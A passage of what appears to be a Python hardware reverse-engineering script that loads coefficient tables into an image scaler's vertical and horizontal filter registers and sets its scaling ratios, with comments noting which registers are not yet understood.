scaler.SCALE_FILTER_V_BLOCK0[124].val = 0x5900590 scaler.SCALE_FILTER_V_BLOCK0[125].val = 0x5660566 scaler.SCALE_FILTER_V_BLOCK1[62].val = 0x5660590 scaler.SCALE_FILTER_V_BLOCK0[126].val = 0x53b053b scaler.SCALE_FILTER_V_BLOCK0[127].val = 0x5100510 scaler.SCALE_FILTER_V_BLOCK1[63].val = 0x510053b scaler.SCALE_FILTER_V_BLOCK0[128].val = 0x82c082c scaler.SCALE_FILTER_V_BLOCK0[129].val = 0x82b082b scaler.SCALE_FILTER_V_BLOCK1[64].val = 0x82b082c scaler.SCALE_FILTER_V_BLOCK0[130].val = 0x8280828 scaler.SCALE_FILTER_V_BLOCK0[131].val = 0x8200820 scaler.SCALE_FILTER_V_BLOCK1[65].val = 0x8200828 scaler.SCALE_FILTER_V_BLOCK0[132].val = 0x81b081b scaler.SCALE_FILTER_V_BLOCK0[133].val = 0x8130813 scaler.SCALE_FILTER_V_BLOCK1[66].val = 0x813081b scaler.SCALE_FILTER_V_BLOCK0[134].val = 0x8080808 scaler.SCALE_FILTER_V_BLOCK0[135].val = 0x7fc07fc scaler.SCALE_FILTER_V_BLOCK1[67].val = 0x7fc0808 scaler.SCALE_FILTER_V_BLOCK0[136].val = 0x7ed07ed scaler.SCALE_FILTER_V_BLOCK0[137].val = 0x7dd07dd scaler.SCALE_FILTER_V_BLOCK1[68].val = 0x7dd07ed scaler.SCALE_FILTER_V_BLOCK0[138].val = 0x7cb07cb scaler.SCALE_FILTER_V_BLOCK0[139].val = 0x7b607b6 scaler.SCALE_FILTER_V_BLOCK1[69].val = 0x7b607cb scaler.SCALE_FILTER_V_BLOCK0[140].val = 0x7a207a2 scaler.SCALE_FILTER_V_BLOCK0[141].val = 0x78a078a scaler.SCALE_FILTER_V_BLOCK1[70].val = 0x78a07a2 scaler.SCALE_FILTER_V_BLOCK0[142].val = 0x7710771 scaler.SCALE_FILTER_V_BLOCK0[143].val = 0x7570757 scaler.SCALE_FILTER_V_BLOCK1[71].val = 0x7570771 scaler.SCALE_FILTER_V_BLOCK0[144].val = 0x73d073d scaler.SCALE_FILTER_V_BLOCK0[145].val = 0x7570757 scaler.SCALE_FILTER_V_BLOCK1[72].val = 0x757073d scaler.SCALE_FILTER_V_BLOCK0[146].val = 0x7710771 scaler.SCALE_FILTER_V_BLOCK0[147].val = 0x78a078a scaler.SCALE_FILTER_V_BLOCK1[73].val = 0x78a0771 scaler.SCALE_FILTER_V_BLOCK0[148].val = 0x7a207a2 scaler.SCALE_FILTER_V_BLOCK0[149].val = 0x7b607b6 scaler.SCALE_FILTER_V_BLOCK1[74].val = 0x7b607a2 scaler.SCALE_FILTER_V_BLOCK0[150].val = 0x7cb07cb scaler.SCALE_FILTER_V_BLOCK0[151].val = 0x7dd07dd scaler.SCALE_FILTER_V_BLOCK1[75].val = 0x7dd07cb scaler.SCALE_FILTER_V_BLOCK0[152].val = 0x7ed07ed scaler.SCALE_FILTER_V_BLOCK0[153].val = 0x7fc07fc scaler.SCALE_FILTER_V_BLOCK1[76].val = 0x7fc07ed scaler.SCALE_FILTER_V_BLOCK0[154].val = 0x8080808 scaler.SCALE_FILTER_V_BLOCK0[155].val = 0x8130813 scaler.SCALE_FILTER_V_BLOCK1[77].val = 0x8130808 scaler.SCALE_FILTER_V_BLOCK0[156].val = 0x81b081b scaler.SCALE_FILTER_V_BLOCK0[157].val = 0x8200820 scaler.SCALE_FILTER_V_BLOCK1[78].val = 0x820081b scaler.SCALE_FILTER_V_BLOCK0[158].val = 0x8280828 scaler.SCALE_FILTER_V_BLOCK0[159].val = 0x82b082b scaler.SCALE_FILTER_V_BLOCK1[79].val = 0x82b0828 scaler.SCALE_FILTER_V_BLOCK0[160].val = 0x4e404e4 scaler.SCALE_FILTER_V_BLOCK0[161].val = 0x5100510 scaler.SCALE_FILTER_V_BLOCK1[80].val = 0x51004e4 scaler.SCALE_FILTER_V_BLOCK0[162].val = 0x53b053b scaler.SCALE_FILTER_V_BLOCK0[163].val = 0x5660566 scaler.SCALE_FILTER_V_BLOCK1[81].val = 0x566053b scaler.SCALE_FILTER_V_BLOCK0[164].val = 0x5900590 scaler.SCALE_FILTER_V_BLOCK0[165].val = 0x5b905b9 scaler.SCALE_FILTER_V_BLOCK1[82].val = 0x5b90590 scaler.SCALE_FILTER_V_BLOCK0[166].val = 0x5e205e2 scaler.SCALE_FILTER_V_BLOCK0[167].val = 0x6090609 scaler.SCALE_FILTER_V_BLOCK1[83].val = 0x60905e2 scaler.SCALE_FILTER_V_BLOCK0[168].val = 0x6300630 scaler.SCALE_FILTER_V_BLOCK0[169].val = 0x6560656 scaler.SCALE_FILTER_V_BLOCK1[84].val = 0x6560630 scaler.SCALE_FILTER_V_BLOCK0[170].val = 0x67a067a scaler.SCALE_FILTER_V_BLOCK0[171].val = 0x69e069e scaler.SCALE_FILTER_V_BLOCK1[85].val = 0x69e067a scaler.SCALE_FILTER_V_BLOCK0[172].val = 0x6c006c0 scaler.SCALE_FILTER_V_BLOCK0[173].val = 0x6e106e1 scaler.SCALE_FILTER_V_BLOCK1[86].val = 0x6e106c0 scaler.SCALE_FILTER_V_BLOCK0[174].val = 0x7000700 scaler.SCALE_FILTER_V_BLOCK0[175].val = 0x71e071e scaler.SCALE_FILTER_V_BLOCK1[87].val = 0x71e0700 scaler.SCALE_FILTER_V_BLOCK0[176].val = 0x2210221 scaler.SCALE_FILTER_V_BLOCK0[177].val = 0x24b024b scaler.SCALE_FILTER_V_BLOCK1[88].val = 0x24b0221 scaler.SCALE_FILTER_V_BLOCK0[178].val = 0x2760276 scaler.SCALE_FILTER_V_BLOCK0[179].val = 0x2a102a1 scaler.SCALE_FILTER_V_BLOCK1[89].val = 0x2a10276 scaler.SCALE_FILTER_V_BLOCK0[180].val = 0x2cc02cc scaler.SCALE_FILTER_V_BLOCK0[181].val = 0x2f802f8 scaler.SCALE_FILTER_V_BLOCK1[90].val = 0x2f802cc scaler.SCALE_FILTER_V_BLOCK0[182].val = 0x3240324 scaler.SCALE_FILTER_V_BLOCK0[183].val = 0x3510351 scaler.SCALE_FILTER_V_BLOCK1[91].val = 0x3510324 scaler.SCALE_FILTER_V_BLOCK0[184].val = 0x37e037e scaler.SCALE_FILTER_V_BLOCK0[185].val = 0x3ab03ab scaler.SCALE_FILTER_V_BLOCK1[92].val = 0x3ab037e scaler.SCALE_FILTER_V_BLOCK0[186].val = 0x3d803d8 scaler.SCALE_FILTER_V_BLOCK0[187].val = 0x4050405 scaler.SCALE_FILTER_V_BLOCK1[93].val = 0x40503d8 scaler.SCALE_FILTER_V_BLOCK0[188].val = 0x4320432 scaler.SCALE_FILTER_V_BLOCK0[189].val = 0x45f045f scaler.SCALE_FILTER_V_BLOCK1[94].val = 0x45f0432 scaler.SCALE_FILTER_V_BLOCK0[190].val = 0x48b048b scaler.SCALE_FILTER_V_BLOCK0[191].val = 0x4b804b8 scaler.SCALE_FILTER_V_BLOCK1[95].val = 0x4b8048b scaler.SCALE_FILTER_V_BLOCK0[192].val = 0x0 scaler.SCALE_FILTER_V_BLOCK0[193].val = 0x1a001a scaler.SCALE_FILTER_V_BLOCK1[96].val = 0x1a0000 scaler.SCALE_FILTER_V_BLOCK0[194].val = 0x350035 scaler.SCALE_FILTER_V_BLOCK0[195].val = 0x520052 scaler.SCALE_FILTER_V_BLOCK1[97].val = 0x520035 scaler.SCALE_FILTER_V_BLOCK0[196].val = 0x6f006f scaler.SCALE_FILTER_V_BLOCK0[197].val = 0x8e008e scaler.SCALE_FILTER_V_BLOCK1[98].val = 0x8e006f scaler.SCALE_FILTER_V_BLOCK0[198].val = 0xae00ae scaler.SCALE_FILTER_V_BLOCK0[199].val = 0xcf00cf scaler.SCALE_FILTER_V_BLOCK1[99].val = 0xcf00ae scaler.SCALE_FILTER_V_BLOCK0[200].val = 0xf100f1 scaler.SCALE_FILTER_V_BLOCK0[201].val = 0x1140114 scaler.SCALE_FILTER_V_BLOCK1[100].val = 0x11400f1 scaler.SCALE_FILTER_V_BLOCK0[202].val = 0x1380138 scaler.SCALE_FILTER_V_BLOCK0[203].val = 0x15d015d scaler.SCALE_FILTER_V_BLOCK1[101].val = 0x15d0138 scaler.SCALE_FILTER_V_BLOCK0[204].val = 0x1820182 scaler.SCALE_FILTER_V_BLOCK0[205].val = 0x1a901a9 scaler.SCALE_FILTER_V_BLOCK1[102].val = 0x1a90182 scaler.SCALE_FILTER_V_BLOCK0[206].val = 0x1d001d0 scaler.SCALE_FILTER_V_BLOCK0[207].val = 0x1f901f9 scaler.SCALE_FILTER_V_BLOCK1[103].val = 0x1f901d0 scaler.SCALE_FILTER_V_BLOCK0[208].val = 0xff02ff02 scaler.SCALE_FILTER_V_BLOCK0[209].val = 0xff0aff0a scaler.SCALE_FILTER_V_BLOCK1[104].val = 0xff0aff02 scaler.SCALE_FILTER_V_BLOCK0[210].val = 0xff12ff12 scaler.SCALE_FILTER_V_BLOCK0[211].val = 0xff1bff1b scaler.SCALE_FILTER_V_BLOCK1[105].val = 0xff1bff12 scaler.SCALE_FILTER_V_BLOCK0[212].val = 0xff26ff26 scaler.SCALE_FILTER_V_BLOCK0[213].val = 0xff31ff31 scaler.SCALE_FILTER_V_BLOCK1[106].val = 0xff31ff26 scaler.SCALE_FILTER_V_BLOCK0[214].val = 0xff3eff3e scaler.SCALE_FILTER_V_BLOCK0[215].val = 0xff4cff4c scaler.SCALE_FILTER_V_BLOCK1[107].val = 0xff4cff3e scaler.SCALE_FILTER_V_BLOCK0[216].val = 0xff5bff5b scaler.SCALE_FILTER_V_BLOCK0[218].val = 0xff6bff6b scaler.SCALE_FILTER_V_BLOCK1[108].val = 0xff6bff5b scaler.SCALE_FILTER_V_BLOCK0[218].val = 0xff7dff7d scaler.SCALE_FILTER_V_BLOCK0[219].val = 0xff90ff90 scaler.SCALE_FILTER_V_BLOCK1[109].val = 0xff90ff7d scaler.SCALE_FILTER_V_BLOCK0[220].val = 0xffa4ffa4 scaler.SCALE_FILTER_V_BLOCK0[221].val = 0xffb9ffb9 scaler.SCALE_FILTER_V_BLOCK1[110].val = 0xffb9ffa4 scaler.SCALE_FILTER_V_BLOCK0[222].val = 0xffcfffcf scaler.SCALE_FILTER_V_BLOCK0[223].val = 0xffe7ffe7 scaler.SCALE_FILTER_V_BLOCK1[111].val = 0xffe7ffcf scaler.SCALE_FILTER_V_BLOCK0[224].val = 0xff06ff06 scaler.SCALE_FILTER_V_BLOCK0[225].val = 0xff01ff01 scaler.SCALE_FILTER_V_BLOCK1[112].val = 0xff01ff06 scaler.SCALE_FILTER_V_BLOCK0[226].val = 0xfefcfefc scaler.SCALE_FILTER_V_BLOCK0[227].val = 0xfef8fef8 scaler.SCALE_FILTER_V_BLOCK1[113].val = 0xfef8fefc scaler.SCALE_FILTER_V_BLOCK0[228].val = 0xfef4fef4 scaler.SCALE_FILTER_V_BLOCK0[229].val = 0xfef1fef1 scaler.SCALE_FILTER_V_BLOCK1[114].val = 0xfef1fef4 scaler.SCALE_FILTER_V_BLOCK0[230].val = 0xfeeefeee scaler.SCALE_FILTER_V_BLOCK0[231].val = 0xfeecfeec scaler.SCALE_FILTER_V_BLOCK1[115].val = 0xfeecfeee scaler.SCALE_FILTER_V_BLOCK0[232].val = 0xfeebfeeb scaler.SCALE_FILTER_V_BLOCK0[233].val = 0xfeebfeeb scaler.SCALE_FILTER_V_BLOCK1[116].val = 0xfeebfeeb scaler.SCALE_FILTER_V_BLOCK0[234].val = 0xfeecfeec scaler.SCALE_FILTER_V_BLOCK0[235].val = 0xfeedfeed scaler.SCALE_FILTER_V_BLOCK1[117].val = 0xfeedfeec scaler.SCALE_FILTER_V_BLOCK0[236].val = 0xfeeffeef scaler.SCALE_FILTER_V_BLOCK0[237].val = 0xfef3fef3 scaler.SCALE_FILTER_V_BLOCK1[118].val = 0xfef3feef scaler.SCALE_FILTER_V_BLOCK0[238].val = 0xfef7fef7 scaler.SCALE_FILTER_V_BLOCK0[239].val = 0xfefcfefc scaler.SCALE_FILTER_V_BLOCK1[119].val = 0xfefcfef7 scaler.SCALE_FILTER_V_BLOCK0[240].val = 0xff87ff87 scaler.SCALE_FILTER_V_BLOCK0[241].val = 0xff7eff7e scaler.SCALE_FILTER_V_BLOCK1[120].val = 0xff7eff87 scaler.SCALE_FILTER_V_BLOCK0[242].val = 0xff75ff75 scaler.SCALE_FILTER_V_BLOCK0[243].val = 0xff6cff6c scaler.SCALE_FILTER_V_BLOCK1[121].val = 0xff6cff75 scaler.SCALE_FILTER_V_BLOCK0[244].val = 0xff63ff63 scaler.SCALE_FILTER_V_BLOCK0[245].val = 0xff5bff5b scaler.SCALE_FILTER_V_BLOCK1[122].val = 0xff5bff63 scaler.SCALE_FILTER_V_BLOCK0[246].val = 0xff52ff52 scaler.SCALE_FILTER_V_BLOCK0[247].val = 0xff49ff49 scaler.SCALE_FILTER_V_BLOCK1[123].val = 0xff49ff52 scaler.SCALE_FILTER_V_BLOCK0[248].val = 0xff41ff41 scaler.SCALE_FILTER_V_BLOCK0[249].val = 0xff38ff38 scaler.SCALE_FILTER_V_BLOCK1[124].val = 0xff38ff41 scaler.SCALE_FILTER_V_BLOCK0[250].val = 0xff30ff30 scaler.SCALE_FILTER_V_BLOCK0[251].val = 0xff28ff28 scaler.SCALE_FILTER_V_BLOCK1[125].val = 0xff28ff30 scaler.SCALE_FILTER_V_BLOCK0[252].val = 0xff21ff21 scaler.SCALE_FILTER_V_BLOCK0[253].val = 0xff1aff1a scaler.SCALE_FILTER_V_BLOCK1[126].val = 0xff1aff21 scaler.SCALE_FILTER_V_BLOCK0[254].val = 0xff13ff13 scaler.SCALE_FILTER_V_BLOCK0[255].val = 0xff0cff0c scaler.SCALE_FILTER_V_BLOCK1[127].val = 0xff0cff13 scaler.SCALE_FILTER_V_BLOCK0[256].val = 0x0 scaler.SCALE_FILTER_V_BLOCK0[257].val = 0xfffafffa scaler.SCALE_FILTER_V_BLOCK1[128].val = 0xfffa0000 scaler.SCALE_FILTER_V_BLOCK0[258].val = 0xfff4fff4 scaler.SCALE_FILTER_V_BLOCK0[259].val = 0xffeeffee scaler.SCALE_FILTER_V_BLOCK1[129].val = 0xffeefff4 scaler.SCALE_FILTER_V_BLOCK0[260].val = 0xffe7ffe7 scaler.SCALE_FILTER_V_BLOCK0[261].val = 0xffe0ffe0 scaler.SCALE_FILTER_V_BLOCK1[130].val = 0xffe0ffe7 scaler.SCALE_FILTER_V_BLOCK0[262].val = 0xffd9ffd9 scaler.SCALE_FILTER_V_BLOCK0[263].val = 0xffd2ffd2 scaler.SCALE_FILTER_V_BLOCK1[131].val = 0xffd2ffd9 scaler.SCALE_FILTER_V_BLOCK0[264].val = 0xffcaffca scaler.SCALE_FILTER_V_BLOCK0[265].val = 0xffc2ffc2 scaler.SCALE_FILTER_V_BLOCK1[132].val = 0xffc2ffca scaler.SCALE_FILTER_V_BLOCK0[266].val = 0xffbaffba scaler.SCALE_FILTER_V_BLOCK0[267].val = 0xffb2ffb2 scaler.SCALE_FILTER_V_BLOCK1[133].val = 0xffb2ffba scaler.SCALE_FILTER_V_BLOCK0[268].val = 0xffaaffaa scaler.SCALE_FILTER_V_BLOCK0[269].val = 0xffa1ffa1 scaler.SCALE_FILTER_V_BLOCK1[134].val = 0xffa1ffaa scaler.SCALE_FILTER_V_BLOCK0[270].val = 0xff99ff99 scaler.SCALE_FILTER_V_BLOCK0[271].val = 0xff90ff90 scaler.SCALE_FILTER_V_BLOCK1[135].val = 0xff90ff99 scaler.SCALE_FILTER_V_BLOCK0[272].val = 0x340034 scaler.SCALE_FILTER_V_BLOCK0[273].val = 0x330033 scaler.SCALE_FILTER_V_BLOCK1[136].val = 0x330034 scaler.SCALE_FILTER_V_BLOCK0[274].val = 0x320032 scaler.SCALE_FILTER_V_BLOCK0[275].val = 0x300030 scaler.SCALE_FILTER_V_BLOCK1[137].val = 0x300032 scaler.SCALE_FILTER_V_BLOCK0[276].val = 0x2e002e scaler.SCALE_FILTER_V_BLOCK0[277].val = 0x2c002c scaler.SCALE_FILTER_V_BLOCK1[138].val = 0x2c002e scaler.SCALE_FILTER_V_BLOCK0[278].val = 0x290029 scaler.SCALE_FILTER_V_BLOCK0[279].val = 0x260026 scaler.SCALE_FILTER_V_BLOCK1[139].val = 0x260029 scaler.SCALE_FILTER_V_BLOCK0[280].val = 0x230023 scaler.SCALE_FILTER_V_BLOCK0[281].val = 0x200020 scaler.SCALE_FILTER_V_BLOCK1[140].val = 0x200023 scaler.SCALE_FILTER_V_BLOCK0[282].val = 0x1c001c scaler.SCALE_FILTER_V_BLOCK0[283].val = 0x180018 scaler.SCALE_FILTER_V_BLOCK1[141].val = 0x18001c scaler.SCALE_FILTER_V_BLOCK0[284].val = 0x140014 scaler.SCALE_FILTER_V_BLOCK0[285].val = 0x100010 scaler.SCALE_FILTER_V_BLOCK1[142].val = 0x100014 scaler.SCALE_FILTER_V_BLOCK0[286].val = 0xb000b scaler.SCALE_FILTER_V_BLOCK0[287].val = 0x50005 scaler.SCALE_FILTER_V_BLOCK1[143].val = 0x5000b # DDA init H scaler.SCALE_H_DDA_THING0 = 0 scaler.SCALE_H_DDA_THING2 = 0 scaler.SCALE_H_DDA_THING1 = 0 # horizontal scaling scaler.SCALE_H_RATIO_0 = int(in_W / out_W * 0x400000) scaler.SCALE_H_RATIO_4 = 0 # XXX what does this do? scaler.SCALE_H_RATIO_1 = 0 # XXX what does this do? scaler.SCALE_H_RATIO_2 = int(out_W / in_W * 0x400000) # XXX what does this set do? zeroing this one out doesn't work scaler.SCALE_H_RATIO_3 = 0 # XXX what does this set do? scaler.SCALE_H_RATIO_5 = 0 # XXX what does this set do? scaler.SCALE_H_FLAGS.set(EN=1) scaler.SCALE_FILTER_H_BLOCK0[0].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[1].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[0].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[2].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[3].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[1].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[4].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[5].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[2].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[6].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[7].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[3].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[8].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[9].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[4].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[10].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[11].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[5].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[12].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[13].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[6].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[14].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[15].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[7].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[16].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[17].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[8].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[18].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[19].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[9].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[20].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[21].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[10].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[22].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[23].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[11].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[24].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[25].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[12].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[26].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[27].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[13].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[28].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[29].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[14].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[30].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[31].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[15].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[32].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[33].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[16].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[34].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[35].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[17].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[36].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[37].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[18].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[38].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[39].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[19].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[40].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[41].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[20].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[42].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[43].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[21].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[44].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[45].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[22].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[46].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[47].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[23].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[48].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[49].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[24].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[50].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[51].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[25].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[52].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[53].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[26].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[54].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[55].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[27].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[56].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[57].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[28].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[58].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[59].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[29].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[60].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[61].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[30].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[62].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[63].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[31].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[64].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[65].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[32].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[66].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[67].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[33].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[68].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[69].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[34].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[70].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[71].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[35].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[72].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[73].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[36].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[74].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[75].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[37].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[76].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[77].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[38].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[78].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[79].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[39].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[80].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[81].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[40].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[82].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[83].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[41].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[84].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[85].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[42].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[86].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[87].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[43].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[88].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[89].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[44].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[90].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[91].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[45].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[92].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[93].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[46].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[94].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[95].val = 0x0 scaler.SCALE_FILTER_H_BLOCK1[47].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[96].val = 0x0 scaler.SCALE_FILTER_H_BLOCK0[97].val = 0x50005 scaler.SCALE_FILTER_H_BLOCK1[48].val = 0x50000 scaler.SCALE_FILTER_H_BLOCK0[98].val = 0xb000b scaler.SCALE_FILTER_H_BLOCK0[99].val = 0x100010 scaler.SCALE_FILTER_H_BLOCK1[49].val = 0x10000b scaler.SCALE_FILTER_H_BLOCK0[100].val = 0x140014 scaler.SCALE_FILTER_H_BLOCK0[101].val = 0x180018 scaler.SCALE_FILTER_H_BLOCK1[50].val = 0x180014 scaler.SCALE_FILTER_H_BLOCK0[102].val = 0x1c001c scaler.SCALE_FILTER_H_BLOCK0[103].val = 0x200020 scaler.SCALE_FILTER_H_BLOCK1[51].val = 0x20001c scaler.SCALE_FILTER_H_BLOCK0[104].val = 0x230023 scaler.SCALE_FILTER_H_BLOCK0[105].val = 0x260026 scaler.SCALE_FILTER_H_BLOCK1[52].val = 0x260023 scaler.SCALE_FILTER_H_BLOCK0[106].val = 0x290029 scaler.SCALE_FILTER_H_BLOCK0[107].val = 0x2c002c scaler.SCALE_FILTER_H_BLOCK1[53].val = 0x2c0029 scaler.SCALE_FILTER_H_BLOCK0[108].val = 0x2e002e scaler.SCALE_FILTER_H_BLOCK0[109].val = 0x300030 scaler.SCALE_FILTER_H_BLOCK1[54].val = 0x30002e scaler.SCALE_FILTER_H_BLOCK0[110].val = 0x320032 scaler.SCALE_FILTER_H_BLOCK0[111].val = 0x330033 scaler.SCALE_FILTER_H_BLOCK1[55].val = 0x330032 scaler.SCALE_FILTER_H_BLOCK0[112].val = 0xff87ff87 scaler.SCALE_FILTER_H_BLOCK0[113].val = 0xff90ff90 scaler.SCALE_FILTER_H_BLOCK1[56].val = 0xff90ff87 scaler.SCALE_FILTER_H_BLOCK0[114].val = 0xff99ff99 scaler.SCALE_FILTER_H_BLOCK0[115].val = 0xffa1ffa1 scaler.SCALE_FILTER_H_BLOCK1[57].val = 0xffa1ff99 scaler.SCALE_FILTER_H_BLOCK0[116].val = 0xffaaffaa scaler.SCALE_FILTER_H_BLOCK0[117].val = 0xffb2ffb2 scaler.SCALE_FILTER_H_BLOCK1[58].val = 0xffb2ffaa scaler.SCALE_FILTER_H_BLOCK0[118].val = 0xffbaffba scaler.SCALE_FILTER_H_BLOCK0[119].val = 0xffc2ffc2 scaler.SCALE_FILTER_H_BLOCK1[59].val = 0xffc2ffba scaler.SCALE_FILTER_H_BLOCK0[120].val = 0xffcaffca scaler.SCALE_FILTER_H_BLOCK0[121].val = 0xffd2ffd2 scaler.SCALE_FILTER_H_BLOCK1[60].val = 0xffd2ffca scaler.SCALE_FILTER_H_BLOCK0[122].val = 0xffd9ffd9 scaler.SCALE_FILTER_H_BLOCK0[123].val = 0xffe0ffe0 